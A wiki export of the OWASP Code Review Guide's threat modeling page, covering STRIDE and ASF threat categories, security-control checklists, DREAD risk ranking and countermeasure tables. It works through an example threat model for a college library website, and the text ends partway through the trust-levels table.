<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">STRIDE Threat List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Type</th>
<th>Examples</th>
<th>Security Control</th>
</tr>

<tr bgcolor="#cccccc">
<td>Spoofing</td>
<td>Threat action aimed to illegally access and use another user's credentials, such as username and password.</td>
<td>Authentication</td>
</tr>

<tr bgcolor="#cccccc">
<td>Tampering</td>
<td>Threat action aimed to maliciously change/modify persistent data, such as persistent data in a database, and the alteration of data in transit between two computers over an open network, such as the Internet.</td>
<td>Integrity</td>
</tr>

<tr bgcolor="#dddddd">
<td>Repudiation</td>
<td>Threat action aimed to perform illegal operations in a system that lacks the ability to trace the prohibited operations.</td>
<td>Non-Repudiation</td>
</tr>

<tr bgcolor="#cccccc">
<td>Information disclosure</td>
<td>Threat action to read a file that one was not granted access to, or to read data in transit. </td>
<td>Confidentiality</td>
</tr>

<tr bgcolor="#dddddd">
<td>Denial of service</td>
<td>Threat aimed to deny access to valid users, such as by making a web server temporarily unavailable or unusable.
</td>
<td>Availability</td>
</tr>

<tr bgcolor="#cccccc">
<td>Elevation of privilege</td>
<td>Threat aimed to gain privileged access to resources for gaining unauthorized access to information or to compromise a system.</td>
<td>Authorization</td>

</table>
 

==Security Controls==
Once the basic threat agents and business impacts are understood, the review team should try to identify the set of controls that could prevent these threat agents from causing those impacts. The primary focus of the code review should be to ensure that these security controls are in place, that they work properly, and that they are correctly invoked in all the necessary places. The checklist below can help to ensure that all the likely risks have been considered.

'''Authentication:'''
*Ensure all internal and external connections (user and entity) go through an appropriate and adequate form of authentication. Be assured that this control cannot be bypassed.
*Ensure all pages enforce the requirement for authentication.
*Ensure that whenever authentication credentials or any other sensitive information is passed, only accept the information via the HTTP “POST” method and will not accept it via the HTTP “GET” method.
*Any page deemed by the business or the development team as being outside the scope of authentication should be reviewed in order to assess any possibility of security breach.
*Ensure that authentication credentials do not traverse the wire in clear text form.
*Ensure development/debug backdoors are not present in production code.

'''Authorization: '''
*Ensure that there are authorization mechanisms in place.
*Ensure that the application has clearly defined the user types and the rights of said users.
*Ensure there is a least privilege stance in operation.
*Ensure that the Authorization mechanisms work properly, fail securely, and cannot be circumvented.
*Ensure that authorization is checked on every request.
*Ensure development/debug backdoors are not present in production code.

'''Cookie Management: '''
*Ensure that sensitive information is not comprised.
*Ensure that unauthorized activities cannot take place via cookie manipulation.
*Ensure that proper encryption is in use.
*Ensure secure flag is set to prevent accidental transmission over “the wire” in a non-secure manner.
*Determine if all state transitions in the application code properly check for the cookies and enforce their use.
*Ensure the session data is being validated.
*Ensure cookies contain as little private information as possible.
*Ensure entire cookie is encrypted if sensitive data is persisted in the cookie.
*Define all cookies being used by the application, their name, and why they are needed.

'''Data/Input Validation: '''
*Ensure that a DV mechanism is present.
*Ensure all input that can (and will) be modified by a malicious user such as HTP headers, input fields, hidden fields, drop down lists, and other web components are properly validated.
*Ensure that the proper length checks on all input exist.
*Ensure that all fields, cookies, http headers/bodies, and form fields are validated.
*Ensure that the data is well formed and contains only known good chars if possible.
*Ensure that the data validation occurs on the server side.
*Examine where data validation occurs and if a centralized model or decentralized model is used.
*Ensure there are no backdoors in the data validation model.
*'''Golden Rule: All external input, no matter what it is, is examined and validated. '''

'''Error Handling/Information leakage: '''
*Ensure that all method/function calls that return a value have proper error handling and return value checking.
*Ensure that exceptions and error conditions are properly handled.
*Ensure that no system errors can be returned to the user.
*Ensure that the application fails in a secure manner.
*Ensure resources are released if an error occurs.

'''Logging/Auditing: '''
*Ensure that no sensitive information is logged in the event of an error.
*Ensure the payload being logged is of a defined maximum length and that the logging mechanism enforces that length.
*Ensure no sensitive data can be logged; e.g. cookies, HTTP “GET” method, authentication credentials.
*Examine if the application will audit the actions being taken by the application on behalf of the client (particularly data manipulation/Create, Update, Delete (CUD) operations).
*Ensure successful and unsuccessful authentication is logged.
*Ensure application errors are logged.
*Examine the application for debug logging with the view to logging of sensitive data.

'''Cryptography: '''
*Ensure no sensitive data is transmitted in the clear, internally or externally.
*Ensure the application is implementing known good cryptographic methods.

'''Secure Code Environment: '''
*Examine the file structure. Are any components that should not be directly accessible available to the user?
*Examine all memory allocations/de-allocations.
*Examine the application for dynamic SQL and determine if it is vulnerable to injection.
*Examine the application for “main()” executable functions and debug harnesses/backdoors.
*Search for commented out code, commented out test code, which may contain sensitive information.
*Ensure all logical decisions have a default clause.
*Ensure no development environment kit is contained on the build directories.
*Search for any calls to the underlying operating system or file open calls and examine the error possibilities.

'''Session Management: '''
*Examine how and when a session is created for a user, unauthenticated and authenticated.
*Examine the session ID and verify if it is complex enough to fulfill requirements regarding strength.
*Examine how sessions are stored: e.g. in a database, in memory etc.
*Examine how the application tracks sessions.
*Determine the actions the application takes if an invalid session ID occurs.
*Examine session invalidation.
*Determine how multithreaded/multi-user session management is performed.
*Determine the session HTTP inactivity timeout.
*Determine how the log-out functionality functions.

==Threat Analysis==
The prerequisite in the analysis of threats is the understanding of the generic definition of risk that is the probability that a threat agent will exploit a vulnerability to cause an impact to the application. From the perspective of risk management, threat modeling is the systematic and strategic approach for identifying and enumerating threats to an application environment with the objective of minimizing risk and the associated impacts.

Threat analysis as such is the identification of the threats to the application, and involves the analysis of each aspect of the application functionality and architecture and design to identify and classify potential weaknesses that could lead to an exploit.

In the first threat modeling step, we have modeled the system showing data flows, trust boundaries, process components, and entry and exit points. An example of such modeling is shown in the Example: Data Flow Diagram for the College Library Website.

Data flows show how data flows logically through the end to end, and allows the identification of affected components through critical points (i.e. data entering or leaving the system, storage of data) and the flow of control through these components. Trust boundaries show any location where the level of trust changes. Process components show where data is processed, such as web servers, application servers, and database servers. Entry points show where data enters the system (i.e. input fields, methods) and exit points are where it leaves the system (i.e. dynamic output, methods), respectively. Entry and exit points define a trust boundary.

Threat lists based on the STRIDE model are useful in the identification of threats with regards to the attacker goals. For example, if the threat scenario is attacking the login, would the attacker brute force the password to break the authentication? If the threat scenario is to try to elevate privileges to gain another user’s privileges, would the attacker try to perform forceful browsing?

It is vital that all possible attack vectors should be evaluated from the attacker’s point of view. For this reason, it is also important to consider entry and exit points, since they could also allow the realization of certain kinds of threats. For example, the login page allows sending authentication credentials, and the input data accepted by an entry point has to validate for potential malicious input to exploit vulnerabilities such as SQL injection, cross site scripting, and buffer overflows. Additionally, the data flow passing through that point has to be used to determine the threats to the entry points to the next components along the flow. If the following components can be regarded critical (e.g. the hold sensitive data), that entry point can be regarded more critical as well. In an end to end data flow, for example, the input data (i.e. username and password) from a login page, passed on without validation, could be exploited for a SQL injection attack to manipulate a query for breaking the authentication or to modify a table in the database.

Exit points might serve as attack points to the client (e.g. XSS vulnerabilities) as well for the realization of information disclosure vulnerabilities. For example, in the case of exit points from components handling confidential data (e.g. data access components), exit points lacking security controls to protect the confidentiality and integrity can lead to disclosure of such confidential information to an unauthorized user.

In many cases threats enabled by exit points are related to the threats of the corresponding entry point. In the login example, error messages returned to the user via the exit point might allow for entry point attacks, such as account harvesting (e.g. username not found), or SQL injection (e.g. SQL exception errors).

From the defensive perspective, the identification of threats driven by security control categorization such as ASF, allows a threat analyst to focus on specific issues related to weaknesses (e.g. vulnerabilities) in security controls. Typically the process of threat identification involves going through iterative cycles where initially all the possible threats in the threat list that apply to each component are evaluated.

At the next iteration, threats are further analyzed by exploring the attack paths, the root causes (e.g. vulnerabilities, depicted as orange blocks) for the threat to be exploited, and the necessary mitigation controls (e.g. countermeasures, depicted as green blocks). A threat tree as shown in figure 2 is useful to perform such threat analysis

[[Image:Threat_Graph.gif|Figure 2: Threat Graph]]

Once common threats, vulnerabilities, and attacks are assessed, a more focused threat analysis should take in consideration use and abuse cases. By thoroughly analyzing the use scenarios, weaknesses can be identified that could lead to the realization of a threat. Abuse cases should be identified as part of the security requirement engineering activity. These abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. A use and misuse case graph for authentication is shown in figure below:

[[Image:UseAndMisuseCase.jpg|Figure 3: Use and Misuse Case]]

Finally, it is possible to bring all of this together by determining the types of threat to each component of the decomposed system. This can be done by using a threat categorization such as STRIDE or ASF, the use of threat trees to determine how the threat can be exposed by a vulnerability, and use and misuse cases to further validate the lack of a countermeasure to mitigate the threat.

To apply STRIDE to the data flow diagram items the following table can be used:

TABLE

==Ranking of Threats==
Threats can be ranked from the perspective of risk factors. By determining the risk factor posed by the various identified threats, it is possible to create a prioritized list of threats to support a risk mitigation strategy, such as deciding on which threats have to be mitigated first. Different risk factors can be used to determine which threats can be ranked as High, Medium, or Low risk. In general, threat risk models use different factors to model risks such as those shown in figure below:

[[Image:Riskfactors.JPG|Figure 3: Risk Model Factors]]

==DREAD==
In the Microsoft DREAD threat-risk ranking model, the technical risk factors for impact are Damage and Affected Users, while the ease of exploitation factors are Reproducibility, Exploitability and Discoverability. This risk factorization allows the assignment of values to the different influencing factors of a threat. To determine the ranking of a threat, the threat analyst has to answer basic questions for each factor of risk, for example:

*For Damage: How big the damage can be?
*For Reproducibility: How easy is it to reproduce an attack to work?
*For Exploitability: How much time, effort, and expertise is needed to exploit the threat?
*For Affected Users: If a threat were exploited, what percentage of users would be affected?
*For Discoverability: How easy is it for an attacker to discover this threat?

By referring to the college library website it is possible to document sample threats releated to the use cases such as:

'''Threat: Malicious user views confidential information of students, faculty members and librarians.'''
# '''Damage potential:''' Threat to reputation as well as financial and legal liability:8
# '''Reproducibility:''' Fully reproducible:10
# '''Exploitability:''' Require to be on the same subnet or have compromised a router:7
# '''Affected users:''' Affects all users:10
# '''Discoverability:''' Can be found out easily:10

Overall DREAD score: (8+10+7+10+10) / 5 = 9

In this case having 9 on a 10 point scale is certainly an high risk threat

==Generic Risk Model==
A more generic risk model takes into consideration the Likelihood (e.g. probability of an attack) and the Impact (e.g. damage potential):

'''Risk = Likelihood x Impact'''

The likelihood or probability is defined by the ease of exploitation, which mainly depends on the type of threat and the system characteristics, and by the possibility to realize a threat, which is determined by the existence of an appropriate countermeasure.

The following is a set of considerations for determining ease of exploitation:
# Can an attacker exploit this remotely?
# Does the attacker need to be authenticated?
# Can the exploit be automated?

The impact mainly depends on the damage potential and the extent of the impact, such as the number of components that are affected by a threat.

Examples to determine the damage potential are:
# Can an attacker completely take over and manipulate the system?
# Can an attacker gain administration access to the system?
# Can an attacker crash the system?
# Can the attacker obtain access to sensitive information such as secrets, PII

Examples to determine the number of components that are affected by a threat:
# How many data sources and systems can be impacted?
# How “deep” into the infrastructure can the threat agent go?

These examples help in the calculation of the overall risk values by assigning qualitative values such as High, Medium and Low to Likelihood and Impact factors. In this case, using qualitative values, rather than numeric ones like in the case of the DREAD model, help avoid the ranking becoming overly subjective.

==Countermeasure Identification==
The purpose of the countermeasure identification is to determine if there is some kind of protective measure (e.g. security control, policy measures) in place that can prevent each threat previosly identified via threat analysis from being realized. Vulnerabilities are then those threats that have no countermeasures. Since each of these threats has been categorized either with STRIDE or ASF, it is possible to find appropriate countermeasures in the application within the given category.

Provided below is a brief and limited checklist which is by no means an exhaustive list for identifying countermeasures for specific threats.

Example of countermeasures for ASF threat types are included in the following table:

<table align="center" cellspacing="1" CELLPADDING="7">
<tr bgcolor="#cccccc">
<th colspan="4" align="center">ASF Threat & Countermeasures List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Threat Type</th>
<th>Countermeasure</th>
</tr>

<tr bgcolor="#cccccc">
<td>Authentication</td>
<td>
#Credentials and authentication tokens are protected with encryption in storage and transit
#Protocols are resistant to brute force, dictionary, and replay attacks
#Strong password policies are enforced
#Trusted server authentication is used instead of SQL authentication
#Passwords are stored with salted hashes
#Password resets do not reveal password hints and valid usernames
#Account lockouts do not result in a denial of service attack
</td>
</tr>

<tr bgcolor="#cccccc">
<td>Authorization</td>
<td>
#Strong ACLs are used for enforcing authorized access to resources
#Role-based access controls are used to restrict access to specific operations
#The system follows the principle of least privilege for user and service accounts
#Privilege separation is correctly configured within the presentation, business and data access layers</td>
</tr>

<tr bgcolor="#cccccc">
<td>Configuration Management</td>
<td>
#Least privileged processes are used and service accounts with no administration capability
#Auditing and logging of all administration activities is enabled
#Access to configuration files and administrator interfaces is restricted to administrators
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Data Protection in Storage and Transit</td>
<td>
#Standard encryption algorithms and correct key sizes are being used
#Hashed message authentication codes (HMACs) are used to protect data integrity
#Secrets (e.g. keys, confidential data ) are cryptographically protected both in transport and in storage
#Built-in secure storage is used for protecting keys
#No credentials and sensitive data are sent in clear text over the wire
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Data Validation / Parameter Validation</td>
<td>
#Data type, format, length, and range checks are enforced
#All data sent from the client is validated
#No security decision is based upon parameters (e.g. URL parameters) that can be manipulated
#Input filtering via white list validation is used
#Output encoding is used
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Error Handling and Exception Management</td>
<td>
#All exceptions are handled in a structured manner
#Privileges are restored to the appropriate level in case of errors and exceptions
#Error messages are scrubbed so that no sensitive information is revealed to the attacker

</td>
</tr>
<tr bgcolor="#cccccc">
<td>User and Session Management</td>
<td>
#No sensitive information is stored in clear text in the cookie
#The contents of the authentication cookies is encrypted
#Cookies are configured to expire
#Sessions are resistant to replay attacks
#Secure communication channels are used to protect authentication cookies
#User is forced to re-authenticate when performing critical functions
#Sessions are expired at logout
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Auditing and Logging</td>
<td>
#Sensitive information (e.g. passwords, PII) is not logged
#Access controls (e.g. ACLs) are enforced on log files to prevent un-authorized access
#Integrity controls (e.g. signatures) are enforced on log files to provide non-repudiation
#Log files provide for audit trail for sensitive operations and logging of key events
#Auditing and logging is enabled across the tiers on multiple servers
</td>
</tr>
</table>

When using STRIDE, the following threat-mitigation table can be used to identify techniques that can be employed to mitigate the threats.

<table align="center" cellspacing="1" CELLPADDING="7">
<tr bgcolor="#cccccc">
<th colspan="4" align="center">STRIDE Threat & Mitigation Techniques List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Threat Type</th>
<th>Mitigation Techniques</th>
</tr>

<tr bgcolor="#cccccc">
<td>Spoofing Identity</td>
<td>
#Appropriate authentication
#Protect secret data
#Don't store secrets
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Tampering with data</td>
<td>
#Appropriate authorization
#Hashes
#MACs
#Digital signatures
#Tamper resistant protocols
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Repudiation</td>
<td>
#Digital signatures
#Timestamps
#Audit trails
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Information Disclosure</td>
<td>
#Authorization
#Privacy-enhanced protocols
#Encryption
#Protect secrets
#Don't store secrets
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Denial of Service</td>
<td>
#Appropriate authentication
#Appropriate authorization
#Filtering
#Throttling
#Quality of service
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Elevation of privilege</td>
<td>
#Run with least privilege
</td>
</tr>
</table>

Once threats and corresponding countermeasures are identified it is possible to derive a threat profile with the following criteria:

# '''Non mitigated threats:''' Threats which have no countermeasures and represent vulnerabilities that can be fully exploited and cause an impact
# '''Partially mitigated threats:''' Threats partially mitigated by one or more countermeasures which represent vulnerabilities that can only partially be exploited and cause a limited impact
# '''Fully mitigated threats:''' These threats have appropriate countermeasures in place and do not expose vulnerability and cause impact

===Mitigation Strategies===
The objective of risk management is to reduce the impact that the exploitation of a threat can have to the application. This can be done by responding to a theat with a risk mitigation strategy. In general there are five options to mitigate threats
# '''Do nothing:''' for example, hoping for the best
# '''Informing about the risk:''' for example, warning user population about the risk
# '''Mitigate the risk:''' for example, by putting countermeasures in place
# '''Accept the risk:''' for example, after evaluating the impact of the exploitation (business impact)
# '''Transfer the risk:''' for example, through contractual agreements and insurance

The decision of which strategy is most appropriate depends on the impact an exploitation of a threat can have, the likelihood of its occurrence, and the costs for transferring (i.e. costs for insurance) or avoiding (i.e. costs or losses due redesign) it. That is, such decision is based on the risk a threat poses to the system. Therefore, the chosen strategy does not mitigate the threat itself but the risk it poses to the system. Ultimately the overall risk has to take into account the business impact, since this is a critical factor for the business risk management strategy. One strategy could be to fix only the vulnerabilities for which the cost to fix is less than the potential business impact derived by the exploitation of the vulnerability. Another strategy could be to accept the risk when the loss of some security controls (e.g. Confidentiality, Integrity, and Availability) implies a small degradation of the service, and not a loss of a critical business function. In some cases, transfer of the risk to another service provider might also be an option.

[[Category:OWASP Code Review Project]]

Application Threat Modeling

2009-05-04T14:51:38Z

KirstenS: /* STRIDE */

[[OWASP Code Review Guide Table of Contents]]__TOC__

 

----

===Introduction===
Threat modeling is an approach for analyzing the security of an application. It is a structured approach that enables you to identify, quantify, and address the security risks associated with an application. Threat modeling is not an approach to reviewing code, but it does complement the security code review process. The inclusion of threat modeling in the SDLC can help to ensure that applications are being developed with security built-in from the very beginning. This, combined with the documentation produced as part of the threat modeling process, can give the reviewer a greater understanding of the system. This allows the reviewer to see where the entry points to the application are and the associated threats with each entry point. The concept of threat modeling is not new but there has been a clear mindset change in recent years. Modern threat modeling looks at a system from a potential attacker's perspective, as opposed to a defender's viewpoint. Microsoft have been strong advocates of the process over the past number of years. They have made threat modeling a core component of their SDLC, which they claim to be one of the reasons for the increased security of their products in recent years.

When source code analysis is performed outside the SDLC, such as on existing applications, the results of the threat modeling help in reducing the complexity of the source code analysis by promoting an in-depth first approach vs. breadth first approach. Instead of reviewing all source code with equal focus, you can prioritize the security code review of components whose threat modeling has ranked with high risk threats.

The threat modeling process can be decomposed into 3 high level steps:

'''Step 1:''' Decompose the Application.
The first step in the threat modeling process is concerned with gaining an understanding of the application and how it interacts with external entities. This involves creating use-cases to understand how the application is used, identifying entry points to see where a potential attacker could interact with the application, identifying assets i.e. items/areas that the attacker would be interested in, and identifying trust levels which represent the access rights that the application will grant to external entities. This information is documented in the Threat Model document and it is also used to produce data flow diagrams (DFDs) for the application. The DFDs show the different paths through the system, highlighting the privilege boundaries.

'''Step 2:''' Determine and rank threats.
Critical to the identification of threats is using a threat categorization methodology. A threat categorization such as STRIDE can be used, or the Application Security Frame (ASF) that defines threat categories such as Auditing & Logging, Authentication, Authorization, Configuration Management, Data Protection in Storage and Transit, Data Validation, Exception Management. The goal of the threat categorization is to help identify threats both from the attacker (STRIDE) and the defensive perspective (ASF). DFDs produced in step 1 help to identify the potential threat targets from the attacker's perspective, such as data sources, processes, data flows, and interactions with users. These threats can be identified further as the roots for threat trees; there is one tree for each threat goal. From the defensive perspective, ASF categorization helps to identify the threats as weaknesses of security controls for such threats. Common threat-lists with examples can help in the identification of such threats. Use and abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. The determination of the security risk for each threat can be determined using a value-based risk model such as DREAD or a less subjective qualitative risk model based upon general risk factors (e.g. likelihood and impact).

'''Step 3:''' Determine countermeasures and mitigation.
A lack of protection of a threat might indicate a vulnerability whose risk exposure could be mitigated with the implementation of a countermeasure. Such countermeasures can be identified using threat-countermeasure mapping lists. Once a risk ranking is assigned to the threats, it is possible to sort threats from the highest to the lowest risk, and prioritize the mitigation effort, such as by responding to such threats by applying the identified countermeasures. The risk mitigation strategy might involve evaluating these threats from the business impact that they pose and reducing the risk. Other options might include taking the risk, assuming the business impact is acceptable because of compensating controls, informing the user of the threat, removing the risk posed by the threat completely, or the least preferable option, that is, to do nothing.

Each of the above steps are documented as they are carried out. The resulting document is the threat model for the application. This guide will use an example to help explain the concepts behind threat modeling. The same example will be used throughout each of the 3 steps as a learning aid. The example that will be used is a college library website. At the end of the guide we will have produced the threat model for the college library website. Each of the steps in the threat modeling process are described in detail below.

== Decompose the Application ==
The goal of this step is to gain an understanding of the application and how it interacts with external entities. This goal is achieved by information gathering and documentation. The information gathering process is carried out using a clearly defined structure, which ensures the correct information is collected. This structure also defines how the information should be documented to produce the Threat Model.

==Threat Model Information==
The first item in the threat model is the information relating to the threat model.
This must include the the following:

# '''Application Name''' - The name of the application.
# '''Application Version''' - The version of the application.
# '''Description''' - A high level description of the application.
# '''Document Owner''' - The owner of the threat modeling document.
# '''Participants''' - The participants involved in the threat modeling process for this application.
# '''Reviewer''' - The reviewer(s) of the threat model. 
Example: 
[[Category:FIXME|the list above includes an Application name, but the example does not have one]]

<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="2" align="center">Threat Model Information</th>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Application Version:</th>
<td>1.0</td>
</tr>

<tr bgcolor="#dddddd">
<th align="left"> Description:</th>
<td>The college library website is the first implementation of a website to provide librarians and library patrons (students and college staff) with online services.
As this is the first implementation of the website, the functionality will be limited. There will be three users of the application: 
1. Students 
2. Staff 
3. Librarians 
Staff and students will be able to log in and search for books, and staff members can request books. Librarians will be able to log in, add books, add users, and search for books.</td>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Document Owner:</th>
<td>David Lowry</td>
</tr>

<tr bgcolor="#dddddd">
<th align="left">Participants:</th>
<td>David Rook</td>
</tr>

<tr bgcolor="#cccccc">
<th align="left">Reviewer:</th>
<td>Eoin Keary</td>
</tr>

</table>
 

==External Dependencies==
External dependencies are items external to the code of the application that may pose a threat to the application. These items are typically still within the control of the organization, but possibly not within the control of the development team. The first area to look at when investigating external dependencies is how the application will be deployed in a production environment, and what are the requirements surrounding this. This involves looking at how the application is or is not intended to be run. For example if the application is expected to be run on a server that has been hardened to the organization's hardening standard and it is expected to sit behind a firewall, then this information should be documented in the external dependencies section. External dependencies should be documented as follows:

# '''ID''' - A unique ID assigned to the external dependency.
# '''Description''' - A textual description of the external dependency.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="2" align="center">External Dependencies</th>
</tr>

<tr bgcolor="#cccccc">
<th>ID</th>
<th>Description</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>The college library website will run on a Linux server running Apache. This server will be hardened as per the college's server hardening standard. This includes the application of the latest operating system and application security patches.</td>
</tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>The database server will be MySQL and it will run on a Linux server. This server will be hardened as per the college's server hardening standard. This will include the application of the lastest operating system and application security patches.</td>
</tr>

<tr bgcolor="#dddddd">
<td>3</td>
<td>The connection between the Web Server and the database server will be over a private network.</td>
</tr>

<tr bgcolor="#cccccc">
<td>4</td>
<td>The Web Server is behind a firewall and the only communication available is TLS.</td>
</tr>

</table>
 

==Entry Points==
Entry points define the interfaces through which potential attackers can interact with the application or supply it with data. In order for a potential attacker to attack an application, entry points must exist. Entry points in an application can be layered, for example each web page in a web application may contain multiple entry points. Entry points should be documented as follows:

# '''ID''' - A unique ID assigned to the entry point. This will be used to cross reference the entry point with any threats or vulnerabilities that are identified. In the case of layer entry points, a major.minor notation should be used.
# '''Name''' - A descriptive name identifying the entry point and its purpose.
# '''Description''' - A textual description detailing the interaction or processing that occurs at the entry point.
# '''Trust Levels''' - The level of access required at the entry point is documented here. These will be cross referenced with the trusts levels defined later in the document.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Entry Points</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="15%">Name</th>
<th width="45%">Description</th>
<th width="25%">Trust Levels</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>HTTPS Port</td>
<td>The college library website will be only be accessable via TLS. All pages within the college library website are layered on this entry point.</td>
<td>(1) Anonymous Web User 
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</tr>

<tr bgcolor="#cccccc">
<td>1.1</td>
<td>Library Main Page</td>
<td>The splash page for the college library website is the entry point for all users.</td>
<td>(1) Anonymous Web User 
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</tr>

<tr bgcolor="#dddddd">
<td>1.2</td>
<td>Login Page</td>
<td>Students, faculty members and librarians must log in to the college library website before they can carry out any of the use cases.</td>
<td>(1) Anonymous Web User 
(2) User with Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian 
</td>
</tr>

<tr bgcolor="#cccccc">
<td>1.2.1</td>
<td>Login Function</td>
<td>The login function accepts user supplied credentials and compares them with those in the database.</td>
<td>
(2) User with Valid Login Credentials 
(3) User with Invalid Login Credentials 
(4) Librarian</td>
</tr>

<tr bgcolor="#dddddd">
<td>1.3</td>
<td>Search Entry Page</td>
<td>The page used to enter a search query.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian</td>
</tr>

</table>
 

==Assets==
The system must have something that the attacker is interested in; these items/areas of interest are defined as assets. Assets are essentially threat targets, i.e. they are the reason threats will exist. Assets can be both physical assets and abstract assets. For example, an asset of an application might be a list of clients and their personal information; this is a physical asset. An abstract asset might be the reputation of an organsation. Assets are documented in the threat model as follows:

# '''ID''' - A unique ID is assigned to identify each asset. This will be used to cross reference the asset with any threats or vulnerabilities that are identified.
# '''Name''' - A descriptive name that clearly identifies the asset.
# '''Description''' - A textual description of what the asset is and why it needs to be protected.
# '''Trust Levels''' - The level of access required to access the entry point is documented here. These will be cross referenced with the trust levels defined in the next step.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Assets</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="15%">Name</th>
<th width="55%">Description</th>
<th width="25%">Trust Levels</th>
</tr>

<tr bgcolor="#cccccc">
<td>1</td>
<td>Library Users and Librarian</td>
<td>Assets relating to students, faculty members, and librarians.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>1.1</td>
<td>User Login Details</td>
<td>The login credentials that a student or a faculty member will use to log into the College Library website.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian 
(5) Database Server Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User
</td></tr>

<tr bgcolor="#dddddd">
<td>1.2</td>
<td>Librarian Login Details</td>
<td>The login credentials that a Librarian will use to log into the College Library website.</td>
<td>
(4) Librarian 
(5) Database Server Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User
</td></tr>

<tr bgcolor="#dddddd">
<td>1.3</td>
<td>Personal Data</td>
<td>The College Library website will store personal information relating to the students, faculty members, and librarians.</td>
<td>
(4) Librarian 
(5) Database Server Administrator 
(6) Website Administrator 
(7) Web Server User Process 
(8) Database Read User 
(9) Database Read/Write User

</td></tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>System</td>
<td>Assets relating to the underlying system.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>2.1</td>
<td>Availability of College Library Website</td>
<td>The College Library website should be available 24 hours a day and can be accessed by all students, college faculty members, and librarians.</td>
<td>
(5) Database Server Administrator 
(6) Website Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.2</td>
<td>Ability to Execute Code as a Web Server User</td>
<td>This is the ability to execute source code on the web server as a web server user.</td>
<td>
(6) Website Administrator 
(7) Web Server User Process 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.3</td>
<td>Ability to Execute SQL as a Database Read User</td>
<td>This is the ability to execute SQL select queries on the database, and thus retrieve any information stored within the College Library database.</td>
<td>
(5) Database Server Administrator 
(8) Database Read User 
(9) Database Read/Write User 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>2.4</td>
<td>Ability to Execute SQL as a Database Read/Write User</td>
<td>This is the ability to execute SQL. Select, insert, and update queries on the database and thus have read and write access to any information stored within the College Library database.</td>
<td>
(5) Database Server Administrator 
(9) Database Read/Write User 
</td>
</tr>

<tr bgcolor="#cccccc">
<td>3</td>
<td>Website</td>
<td>Assets relating to the College Library website.</td>
<td></td>
</tr>

<tr bgcolor="#dddddd">
<td>3.1</td>
<td>Login Session</td>
<td>This is the login session of a user to the College Library website. This user could be a student, a member of the college faculty, or a Librarian.</td>
<td>
(2) User with Valid Login Credentials 
(4) Librarian 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.2</td>
<td>Access to the Database Server</td>
<td>Access to the database server allows you to administer the database, giving you full access to the database users and all data contained within the database.</td>
<td>
(5) Database Server Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.3</td>
<td>Ability to Create Users</td>
<td>The ability to create users would allow an individual to create new users on the system. These could be student users, faculty member users, and librarian users.</td>
<td>
(4) Librarian 
(6) Website Administrator 
</td>
</tr>

<tr bgcolor="#dddddd">
<td>3.3</td>
<td>Access to Audit Data</td>
<td>The audit data shows all audit-able events that occurred within the College Library application by students, staff, and librarians.</td>
<td>
(6) Website Administrator 
</td>
</tr>

</table>

 

==Trust Levels==
Trust levels represent the access rights that the application will grant to external entities. The trust levels are cross referenced with the entry points and assets. This allows us to define the access rights or privileges required at each entry point, and those required to interact with each asset. Trust levels are documented in the threat model as follows:

# '''ID''' - A unique number is assigned to each trust level. This is used to cross reference the trust level with the entry points and assets.
# '''Name''' - A descriptive name that allows you to identify the external entities that have been granted this trust level.
# '''Description''' - A textual description of the trust level detailing the external entity who has been granted the trust level.
 
Example:
 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">Trust Levels</th>
</tr>

<tr bgcolor="#cccccc">
<th width="5%">ID</th>
<th width="25%">Name</th>
<th width="70%">Description</th>
</tr>

<tr bgcolor="#dddddd">
<td>1</td>
<td>Anonymous Web User</td>
<td>A user who has connected to the college library website but has not provided valid credentials.</td>
</tr>

<tr bgcolor="#cccccc">
<td>2</td>
<td>User with Valid Login Credentials</td>
<td>A user who has connected to the college library website and has logged in using valid login credentials.</td>
</tr>

<tr bgcolor="#cccccc">
<td>3</td>
<td>User with Invalid Login Credentials</td>
